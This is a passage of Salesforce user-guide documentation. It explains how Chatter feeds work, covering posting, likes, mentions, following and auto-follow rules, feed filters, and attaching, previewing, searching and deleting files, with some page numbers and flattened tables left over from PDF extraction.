Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. If enabled by your administrator, related list hover links display below Chatter feeds. Post to Chatter feeds by typing in the text box at the top of a feed and clicking Share. Update your status by posting to the Chatter feed or on your profile. View a single feed update. View the source of a post or comment. Use filters to view a subset of updates. Click Comment to comment on feed updates. Click , which appears on hover, to delete posts and comments. You can delete posts and comments you've made and posts and comments made by other people on the Chatter feed on your profile, on records you own, and on posts and comments you've made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete it. Users with the Modify All Data permission can delete all comments and posts. Click Unfollow in the Chatter feed to stop following people or records. Click More to expand a long post or comment. Like a post to receive email notifications for subsequent comments, or just to show your support. However, you don't get email notifications if you like a comment. Only the user who posted the comment, receives email notifications for likes on that comment.

See Also:
Chatter Feeds Overview Following People and Records The People and Records You Auto-Follow Initially Profile Overview Chatter Groups Home

2157

Feeds

Viewing a Single Chatter Update

Viewing a Single Chatter Update


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can view a single Chatter update in a feed for a user, record or group. In a Chatter feed, click the timestamp displayed below the update, for example, Yesterday at 12:57 AM. In a Chatter email notification, click the link in the body of the email to view only the related update. To view the full feed, above the update, click All Updates.

Posting to Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When you post to a feed or update your status, you can: Attach files and links Add a topic Mention another person

Posts to other people's profiles can be viewed by anyone. Anyone who can see a record can see your post on the record's feed, and people following a record can see your post in their Chatter feed.

See Also:
Using Chatter Feeds Updating Your Status

Updating Your Status


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Update your status in Chatter by typing in the text box at the top of the feed in your profile or on the Home or Chatter tab, then clicking Share. When you post to a feed or update your status, you can: Attach files and links Add a topic Mention another person

2158

Feeds

Liking Posts and Comments

Anyone can see your status update by looking at your profile, and people following you can see your status update in their Chatter feed.

See Also:
Using Chatter Feeds Posting to Chatter Feeds

Liking Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

After you click Like on a post, you receive email notifications if others comment on that post. If you click Like on a comment, only the user who posted the comment receives an email notification, but you receive an email notification for any subsequent comments. To stop liking a post or a comment, click Unlike. When you stop liking a post or a comment, you don't receive email notifications for subsequent comments or likes. View the profiles of others who have liked a post by clicking their name at the bottom of the post or comment, for example, John Smith likes this. If more than three people like a post, click the link to see the full list; for example, You, John Smith, and 2 others like this. From that list, you can follow or stop following people. Likes on comments show how many people have liked the comment, for example, 1 person or 7 people. To see their names, click the link.

Viewing the Source of an Update


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

View the source of a post or comment in a feed, for example, Yesterday at 12:57 AM via Chatter for BlackBerry. This link displays when a person posts to a feed using a Chatter Mobile client.

Sorting Your Chatter Feed By Last Activity


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Sort drop-down list at the top-right of your Chatter feed sorts the feed by the most recent: Posts only Posts and comments

2159

Feeds

Using Chatter Feed Filters

Sorting by posts and comments allows you to quickly see new comments on older posts, which you might not see if you haven't liked or commented on a post and don't receive email notifications of new comments or liked posts.

Using Chatter Feed Filters


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Feed filters display a subset of updates in your Chatter feed on the Chatter tab. My Chatter Displays all Chatter feed updates for people you follow, groups you are a member of, and files, and records you're following. On the Chatter tab, click the My Chatter filter on the left side of the page and select People, Groups, or Files from the drop-down list in the Chatter feed. The My Chatter feed filter is selected by default. All Chatter Displays all Chatter feed updates with comments from your entire company. This includes posts and updates that have comments from: People in your company, the ones you follow and the ones you don't follow. Public groups, including the ones you are not a member of. Private groups you are a member of. Feed updates that your administrator configured for feed tracking, including the ones you're not following. However, you only see the feed updates for items that you are allowed to access.

Me Displays both posts others make to your Chatter feed, as well as updates where you have been mentioned. People Displays a list of all Chatter users in your company, including the ones you don't follow. From the people page: Click a person's name or photo to view his or her profile. Click Follow to see a person's status updates in the Chatter feed. You can't follow customers. Click Following to stop seeing a person's status updates in the Chatter feed. Click a column header to sort the list: Name sorts alphabetically by name. By default, the list is sorted alphabetically, in ascending order. Status Last Updated sorts by the most recent updates. This applies to all updates, regardless of who you're following. Following sorts based on who you're following and not following. Search for users by typing characters of a first or last name in the search box at the top of the page. The list automatically filters based on what you type. At the top of the list, click a letter to list everyone whose last name begins with that letter.

2160

Feeds

Following People and Records

Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. View the people that Chatter recommends you follow. Click More in the Recommended People section to view all of your recommendations. If no recommendations appear, then you're already following all the recommended people.

Groups Displays only updates for groups you are a member of. When the filter is selected, click: All Groups to view a list of all groups in your company. Recently Viewed to view a list of the most recent groups you viewed. My Groups to view a list of the groups you're a member of.

When you click Groups, the My Groups filter is selected by default. Files Displays only files you're following, as well as files posted to people, groups, and records you're following. When the filter is selected, click: Recently Viewed to view a list of the most recent files you viewed. Files I Own to view a list of files that you are the owner of. Files Shared with Me to view a list of files that other people have shared with you. All Files to view a list of all the files you previewed, downloaded, uploaded, or edited.

Records (for example, Accounts or Opportunities) Displays only updates for records you are following. You'll only see a filter if you're following at least one record of a standard or custom object type. For example, if you're not following any contacts, then the Contact filter doesn't display.

See Also:
Using Chatter Feeds Sorting Your Chatter Feed By Last Activity

Following People and Records


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To view a record: Read on the record

Follow people and records so you can see updates in your Chatter feed, including status updates, field changes, posts, and comments on records.

2161

Feeds

The People and Records You Auto-Follow Initially

The field changes you see in your feed are determined by the fields your administrator has configured for feed tracking. Updates to encrypted custom fields don't display in feeds. Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

Click People then Follow, or click Follow on a person's profile, in the Following and Follower lists, or on a person's hover to follow people. Once you follow people, you see their status updates in your Chatter feed. Click Follow on a record detail page, on a Salesforce Knowledge article, or next to a record in another person's Following list to see updates in your Chatter feed. Click in your Chatter feed, on the People tab, the People page, a person's profile, a record detail page, in the Following and Followers lists, or on a person's hover to stop following people or records. This stops future updates from people and records in your Chatter feed and removes previous updates.

Consider these tips for following in Chatter: You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save. Unlike other records, you don't auto-follow events, tasks, or dashboards in Chatter after you create them. You can follow a maximum of 500 people and records.

See Also:
People Overview Using the Following and Followers Lists Customizing Chatter Feed Tracking Using Chatter Feeds

The People and Records You Auto-Follow Initially


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Starting in June 2010, when your administrator initially turns on Chatter, we help get you started by automatically following certain users and records in your organization. Who and what you auto-follow differ based on the size of your organization: If Your Organization Has: 15 users or less Users You Follow All users in your organization Records You Follow Up to 25 of your most recently used records, in the following order: 1. 2. 3. 4. 5. Open opportunities you own Accounts you own Open cases you own Contacts you own Open opportunities you created

2162

Feeds

The People and Records You Auto-Follow Initially

If Your Organization Has:

Users You Follow

Records You Follow 6. Accounts you created 7. Open cases you created 8. Contacts you created 9. Open opportunities you last modified 10. Accounts you last modified 11. Open cases you last modified 12. Contacts you last modified 13. Open opportunities you viewed 14. Accounts you viewed 15. Open cases you viewed 16. Contacts you viewed

16 or more users

Up to 25 users in your organization, including (if available): Your manager Users that report to your manager Your subordinates Teammates on your account teams Teammates on your opportunity teams

Up to 25 of your most recently used records, in the following order: 1. Open opportunities you own 2. Accounts you own 3. Open cases you own 4. Contacts you own 5. Open opportunities you created 6. Accounts you created 7. Open cases you created 8. Contacts you created 9. Open opportunities you last modified 10. Accounts you last modified 11. Open cases you last modified 12. Contacts you last modified 13. Open opportunities you viewed 14. Accounts you viewed 15. Open cases you viewed 16. Contacts you viewed

See Also:
Following People and Records Using the Following and Followers Lists Configuring Your Chatter Feed Settings Customizing Search Settings

Attaching a File or Link to a Chatter Feed


2163

Feeds

Attaching a File or Link to a Chatter Feed

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

You can share files and links with people by attaching them to posts. You can attach files from your computer, Salesforce CRM Content libraries, Chatter feeds in a profile, a record, or a group, and the Files list. All file types, up to 100 MB, are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. When a file is posted to a feed, everyone in your company can see it even if the file started out as private. Only files posted in a private group stay private within that group. To attach a file from your computer to a post: 1. 2. 3. 4. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment. Click File below your post. Click Upload a file from your computer. Click Browse and select a file. The file name populates automatically. to close the Attach a File window.

5. Optionally, change the Name of the file and add a Description. Or click 6. Click Share. To attach a file from Salesforce to a post: 1. 2. 3. 4.

Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment. Click File below your post. Click Select a file from Salesforce. Search for your file from the Select a File to Attach list, and click Attach. The file is attached to the feed, but not shared yet. Confirm this is the file you want to share by viewing the first page of the file and clicking on the file thumbnail to see a preview. to close the

5. Optionally, click Change file to return to the Select a File to Attach list to attach a different file. Or click Attach a File window. 6. Click Share. Note:

Links, Google docs, documents from the Documents tab, and attachments from the Notes and Attachments related list aren't included in the Select a File to Attach list. For more information about finding files to attach, see Searching for Files to Attach to a Chatter Feed on page 2168. Attaching a file from a group or library doesn't create a copy of the file, it creates a reference to the file. So if you update a file in Salesforce CRM Content, the updates are reflected in the feed. Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

2164

Feeds

Attaching a File or Link to a Chatter Feed

To attach a link to a post: 1. 2. 3. 4. 5. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment. Click Link below your post. Enter the URL to share. Enter the Link Name. Click Share.

If you share a URL to a video hosted in the YouTube video community, a video player displays the video in the feed update. The video player includes a thumbnail preview and the video title. Clicking the thumbnail plays the video in the Chatter feed. When you click the video title or the URL, a new browser window opens the YouTube video community website that contains the video. Currently, the Chatter video player only works with links to videos hosted in the YouTube video community. This table describes who can see a file you attached and where it appears: If You Attach a File: On a Chatter feed Who Can See It? All Chatter users in your company Where Does it Appear? In your and your followers' Chatter feeds, and profile On the Files list and Salesforce CRM Content of all Chatter users in your company In your feed, their feed, your followers' feeds, and their followers' feeds and profiles In the Files Owned list on your profile On the Files list and Salesforce CRM Content of all Chatter users in your company In your feed and the group members' feeds In your feed on your profile In the feed on the group In the Group Files list on the group On your and the group members' Files lists and Salesforce CRM Content In your feed, your followers' feeds, and the group members' feeds In your feed on your profile In the feed on the group In the Group Files list on the group

On your profile or on someone else's profile

All Chatter users in your company

On a private group you're a member of

Members of the group and users with Modify All Data and View All Data permissions

On a public group

All Chatter users in your company

2165

Feeds

Attaching a File or Link to a Chatter Feed

If You Attach a File:

Who Can See It?

Where Does it Appear? On the Files page and Salesforce CRM Content of all Chatter users in your company. In your feed (if you're following the record), your followers' feeds, and the record's followers' feeds In your feed on your profile In the feed on the record In the record's Notes and Attachments related list On the Files lists of all Chatter users in your company

On a record

All Chatter users in your company

Note: The upload may take some time depending on your file size. You automatically follow files you upload in Chatter, attach to a Chatter feed, or upload to a Salesforce CRM Content library. Files attached to a Chatter feed on a record are automatically added to the record's Notes and Attachments related list and are called Feed Attachments. Feed Attachments are included in search results and available to attach to other Chatter feeds. Files attached directly to a record's Notes and Attachments related list are called Attachments. Attachments aren't included in search results and aren't available to attach to Chatter feeds. If you don't see the Notes and Attachments related list on your page layout, contact your administrator. On some objects, the Notes and Attachments related list is titled Attachments because the object does not offer notes. Also, the same related list may be titled Google Docs, Notes, and Attachments or Google Docs and Attachments depending on the setting in your company. References to the Notes and Attachments related list include all versions of the related list, regardless of title. Salesforce is not responsible for content posted by users.

See Also:
Searching for Files to Attach to a Chatter Feed Downloading and Previewing a File in a Chatter Feed File Size Limits in Salesforce

Mentioning People in Posts and Comments

2166

Feeds

Mentioning People in Posts and Comments

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo (1:10 minutes) When you post or comment in Chatter, you can mention a person's name to make sure that person sees your update. Mentioning a person is a way to keep them informed when you're discussing something relevant to them. For example, let's say your coworker Madison posts that she is looking for leads at the company Universal Paper, and you know that Bob Smith has contacts at that company. You can reply to Madison's post with the comment: Talk to @Bob Smithhe knows a few folks at the company. Bob Smith is notified about your post and Madison can click @Bob Smith in the update to view Bob's Chatter profile. To mention someone: 1. Enter @ followed by the first few letters of the person's name. 2. Select the person from the list of matches. 3. Post your update. The following happens: The person's name becomes a link to their profile. Your update appears on the mentioned person's profile feed and in their Me filter. Chatter emails a notification to the person you mentioned. The person also receives a notification every time somebody comments on the update where they were mentioned.

You can't have more than 10 mentions in a single post or comment. Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box. In the search results, click Chatter Updates to see where Madison Rigsby is mentioned in Chatter posts and comments.

Mentioning Someone Who Doesn't Have Access to a Record or Private Group


Chatter enforces all the security and sharing rules in Salesforce. If you post an update to a record or private group and mention someone who doesn't have access to that record or isn't a member of the private group, the mentioned person won't see your update. Specifically: You receive a warning that the person isn't part of the group. The mentioned person isn't notified about the update. The update doesn't appear in the mentioned person's profile feed or in their Me filter. The mention appears as a gray link (instead of a blue link). Whenever you see a mention in gray, the mentioned person isn't able to see the update. Note: If you're mentioning someone that isn't part of the group but has the Modify All Data permission, the link still displays as blue. However, the person won't be notified about the update, and you won't receive any warning. For example, let's say you create a private group for your sales team and forget to add your coworker Sandy Dunn to the group. When you post an update to this group and mention Sandy Dunn, she won't be notified about the update and won't see the

2167

Feeds

Searching for Files to Attach to a Chatter Feed

update because she's not a member of the private group. If you later add Sandy to the group, Chatter doesn't notify her about the previous mentions.

See Also:
Chatter Feeds Overview Updating Your Status Adding Topics to Posts and Comments

Searching for Files to Attach to a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. When you click File and Select a file from Salesforce on a Chatter feed, a list of files you own and have access to from Chatter and Salesforce CRM Content is displayed. The 25 most recently viewed files are listed by default. When you find the file you want to attach, click Attach next to that file. From the Select a File to Attach list you can see and search a certain group of files by clicking a specific filter on the sidebar. All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including: Files that have been shared with you Files you're following Files in your Chatter groups Files in your Salesforce CRM Content libraries Files attached by other people to a Chatter feed. This includes files attached to all public groups, whether you're a member or not, and private groups you're a member of, but not private groups you're not a member of.

Recently ViewedThe most recent files you've viewed. MY FILESAll files you own, files shared with you, and files you follow. Files I OwnFiles you: Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform actions, share them, and attach them to Chatter feeds. Attached to Chatter feeds from your computer. Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.

Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile. Files I FollowAll files that you're following. FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The first five groups you're a member of are listed. If you're a member of more than five groups, click More to see a complete list.

2168

Feeds

Performing Actions on a File in a Chatter Feed

FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If you're a member of more than five libraries, click More to see a complete list. Note: Only files from libraries that you're a member of and where you have Post Content to Chatter Feeds or Manage Library checked in your library permission definition are listed.

To search for files from the search box: 1. Optionally, click a filter on the sidebar to restrict your search to a specific set of files. 2. Enter your search terms in the search box. You can search by file name, description, owner, type, or within the file's text. 3. Click Search to see a filtered list of all relevant files based on your search terms. Or click The Select a File to Attach list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Links attached to posts in Chatter Files from your personal library to clear your search terms.

See Also:
Attaching a File or Link to a Chatter Feed Downloading and Previewing a File in a Chatter Feed Removing and Deleting Files and Links from a Chatter Feed

Performing Actions on a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can perform the following actions on files in feeds. PreviewClick the file thumbnail or click More Actions > Preview next to the file. DownloadClick More Actions > Download next to the file. Upload new versionClick More Actions > Upload new version next to the file. View file detail pageClick the file name or More Actions > View file detail page next to the file. FollowClick Follow next to a file to receive updates about the file in the Chatter feed. Click updates about the file. ShareClick Share File next to the file to share the file with people, groups, or via link. to stop receiving

2169

Feeds

Downloading and Previewing a File in a Chatter Feed

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2188.

See Also:
Attaching a File or Link to a Chatter Feed Removing and Deleting Files and Links from a Chatter Feed Following Files Sharing Files with People Sharing Files with Groups Downloading and Previewing a File in a Chatter Feed Uploading a New Version of a File Viewing the File Detail Page

Downloading and Previewing a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Not only can you download and save files posted to Chatter feeds, you can also preview files in your browser without downloading them. There are several places in Chatter where you can download and preview files: On the Files pageClick > Download or click the preview ( ) icon next to the file. On any Chatter feedClick More Actions > Download next to the file, or to preview the file, click on the file thumbnail or click More Actions > Preview. > Download or click the preview ( ) icon next to the file.

On the Files Owned by list on a profileClick

On the Files Shared with list on a groupClick > Download or click the preview ( ) icon next to the file. In the Notes and Attachments related list on a record, click Download next to the feed attachment, or to preview the file, click Preview next to the feed attachment.

Previewing a file opens it in your browser with the enhanced document viewer. The enhanced document viewer provides the following capabilities for viewing documents: In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page. You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous Page icons. Continuous scrolling is not available for PowerPoint files. You can jump directly to a page by entering the page number in the page field and pressing Enter. From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to preview the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar.

2170

Feeds

Removing and Deleting Files and Links from a Chatter Feed

From the right-click menu you can choose Full Screen to preview the document in full screen mode, or Exit to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also available on the toolbar. You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and use the keys as follows: Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document forward one page. Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document backward one page. Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the page. Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document down the page. Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

See Also:
Attaching a File or Link to a Chatter Feed Removing and Deleting Files and Links from a Chatter Feed

Removing and Deleting Files and Links from a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. There are different ways to remove and delete Chatter files and links depending on where they appear. To remove a file or delete a link from a Chatter feed, you must delete its post. You can delete posts and comments you've made and posts and comments made by other people on the Chatter feed on your profile, on records you own, and on posts and comments you've made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete it. To delete a file, you must go to the file detail page or content detail page. You can only delete a file if you are the file owner. Users with the Modify All Data permission can delete all comments, posts, files and links.

Removing a File from a Chatter Feed


To remove a file from a Chatter feed, you must delete its post. When you delete a post that includes a file, you're not deleting the file, just the reference to the file; the file remains in it's original location. If the file was attached to a post and not shared in other locations, deleting the post also removes the reference to the file and the file goes back to being private, but can be shared again later.

2171

Feeds

Configuring Your Chatter Feed Settings

Removing a File from a Chatter Feed on a Record


There are two ways to remove a file on a Chatter feed on a record: Remove the file on a Chatter feed by deleting its post. This deletes the post, removes the file from the feed and from the Notes and Attachments related list, but the file remains in it's original location. If the file isn't posted anywhere else, it goes back to being private, but can be shared again later. Remove the file on a Chatter feed by clicking Del next to the feed attachment on the Notes and Attachments related list. This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it from the post, but doesn't delete it from it's original location.

Deleting a link from a Chatter Feed


To delete a link on a Chatter feed, you must delete its post.

Deleting a File from a File Detail Page


Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with it.

Deleting a File from a Content Detail Page


When you post a file in Chatter, the file also appears in Salesforce CRM Content. To delete the file from Chatter, Salesforce CRM Content, and all locations where it's been shared, click the name of the file on the Libraries, Content, or Subscriptions tab. From the content details page, click Edit > Delete Content to delete the file. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter.To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.

See Also:
Attaching a File or Link to a Chatter Feed Downloading and Previewing a File in a Chatter Feed

Configuring Your Chatter Feed Settings


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed To view a record: Read on the record

Automatically Following Records You Own


With the exception of tasks and events, you automatically follow records that you own. So, you see updates in your Chatter feed when fields are changed on those records.

2172

Files

Files Overview

Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't automatically follow the account. To automatically follow a record when someone else assigns you ownership, your administrator must enable the owner field on the object for feed tracking. To stop automatically following records you own: 1. Click Your Name > Setup > My Chatter Settings > My Feeds. 2. Select Stop automatically following records. 3. Click Save.

Enabling and Disabling Approval Request Posts in Chatter


If your organization has Approvals in Chatter enabled, you can choose to receive approval requests as posts in Chatter. 1. Click Your Name > Setup > My Chatter Settings > My Feeds. 2. Select or deselect Receive approval requests as private Chatter posts. This checkbox is enabled automatically when your administrator turns on Approvals in Chatter. 3. Click Save. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record.

See Also:
Following People and Records Chatter Feeds Overview The People and Records You Auto-Follow Initially

FILES
Files Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Watch a Demo on Sharing Files in Chatter (2:45 minutes)

2173

Files

Files Overview

You can easily upload, store, find, follow, share, and collaborate on Salesforce files in the cloud using the Files page. This includes files you own or have access to from Chatter, Salesforce CRM Content, and files posted to Chatter feeds. All file types, up to 100 MB, are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. All files you own and have access to are available to share or attach to posts on Chatter feeds. Files are automatically added to the Files list when: You upload a file. You or someone else attaches a file to a Chatter feed. This includes files attached to all public groups, whether you're a member or not, and private groups you're a member of, but not private groups you're not a member of. Someone else shares a file privately with you using the Sharing dialog box. You upload a file to a Salesforce CRM Content library. Someone else uploads a file to a library you're a member of. You or someone else creates a content pack or uploads a Web link in Salesforce CRM Content. You only see files from content packs and Web links you have access to.

On the Files page: See all the files you own or have access to and click a specific filter on the sidebar to see a certain group of files: All Files shows all files you own and have access to. Recently Viewed shows the most recent files you've viewed. MY FILES shows all of the files you own, files shared with you, and files you follow. Files I Own shows all the files you own. Files Shared with Me shows all files that have been shared with you either by a private share or a public post to your profile. Files I Follow shows all the files you're following. FILES IN MY GROUPS shows all files you or other people attached to groups you're a member of. FILES IN MY LIBRARIES shows all files you and other people uploaded to libraries you're a member of and all files you uploaded to your personal library. Search for files using specific filters and by typing terms in the Files search box, or the search box at the top of the page. You can search by file name, description, owner, type, or within the file's text. The search results are filtered based on the terms entered. Click Upload a File to upload a private file or upload and share the file with people, groups, or via a file link. You own files you upload. Click the Preview icon next to a file. Preview lets you see the file without downloading it. next to the file you're following to stop Click to follow and receive updates about a file in the Chatter feed. Click receiving updates about the file.

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile.

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2188. Note: For more information about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3145

2174

Files

Uploading and Sharing Files

Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

See Also:
Uploading and Sharing Files Searching for Files Viewing the File Detail Page Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Uploading and Sharing Files


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Upload and share a file from the Home page, the Files page, the Files Shared with list on a group, or the Files Owned by list on a profile. Files are uploaded to MY FILES and Files I Own on the Files list. They can be uploaded as private or shared with people, groups, or via links. A private file is private, not shared with anyone, and you are the file owner. Only file owners and users with the View All Data permission can see private files. Private files are indicated by the word Private and a lock icon on a file's detail page. You can search for your private files in Chatter and on the Files list. You can also share private files from the file detail page or by attaching them to a Chatter feed, a profile, a record, or a group. When you share a private file, it's no longer private. All file types, up to 100 MB, are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. To upload and share a file: 1. Upload a file from any of these locations: On the Files page, the Files Shared with list on a group, or the Files Owned by list on a profileClick Upload a file. On the Home pageClick Create New > File. On the Files Shared with list on a groupClick Upload a file. On the Files Owned by list on a profileClick Upload a file.

2. Click Browse and select a file from your computer. 3. Choose what you want to do with the file from the drop-down list: Upload privately, Share with people, Share with group, or Share via link. 4. Click Upload. If you uploaded the file as private, the file detail page displays. If you uploaded the file and chose to share it with people, groups, or via link, you'll enter people or groups to share with or be able to copy the link. Files are also automatically added to the Files list by: Attaching a file to a Chatter feed.

2175

Files

Searching for Files

Uploading files to Salesforce CRM Content personal and shared libraries. Creating content packs or uploading Web links in Salesforce CRM Content.

The Files list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Note: You automatically follow files you upload in Chatter, attach to a Chatter feed, or upload to a Salesforce CRM Content library. Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column. To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2188.

See Also:
Files Overview File Size Limits in Salesforce Viewing the File Detail Page Uploading a New Version of a File Deleting a File from the File Detail Page

Searching for Files


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking Files displays Chatter and Salesforce CRM Content files you own and have access to, including files posted to feeds. The 25 most recently viewed files are listed by default. You can see and search a certain group of files by clicking a specific filter on the sidebar. All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including: Files that have been shared with you Files you're following Files in your Chatter groups Files in your Salesforce CRM Content libraries Files attached by other people to a Chatter feed. This includes files attached to all public groups, whether you're a member or not, and private groups you're a member of, but not private groups you're not a member of.

Recently ViewedThe most recent files you've viewed. MY FILESAll files you own, files shared with you, and files you follow. Files I OwnFiles you:

2176

Files

Searching for Files

Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform actions, share them, and attach them to Chatter feeds. Attached to Chatter feeds from your computer. Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.

Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile. Files I FollowAll files that you're following. FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The first five groups you're a member of are listed. If you're a member of more than five groups, click More to see a complete list. FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If you're a member of more than five libraries, click More to see a complete list.

To search for files using the Files search: 1. Optionally, click a filter on the sidebar to restrict your search to a specific set of files. 2. Enter your search terms in the box on the Files page. You can search by file name, description, owner, type, or within the file's text. 3. Click Search to see a filtered list of all relevant files based on your search terms. Or click to clear your search terms.

You can also search for feeds, files, groups, and people by entering search terms in the search box on the top of the page. The Files list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list.

This table shows the types of files supported for search and the maximum size a file can be to have the text within the file included in a search. If a file exceeds the maximum size, the text within the file isn't searched, but the file's name, description, type, and owner are. File Type HTML PDF PPT RTF Text Word XML File Extensions
.htm, .html, .xhtml .pdf .ppt, .pptx, .pptm .rtf .c, .cpp, .css, .csv, .ini, .java, .log, .sql, .txt .doc, .docx, .docm .xml

Maximum File Size for Text Within the File to be Searchable 5 MB 25 MB 25 MB 5 MB 5 MB 25 MB 5 MB

2177

Files

Viewing the File Detail Page

File Type XLS

File Extensions
.xls, .xlsx, .xlsm

Maximum File Size for Text Within the File to be Searchable 5 MB

See Also:
Uploading and Sharing Files Viewing the File Detail Page

Viewing the File Detail Page


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

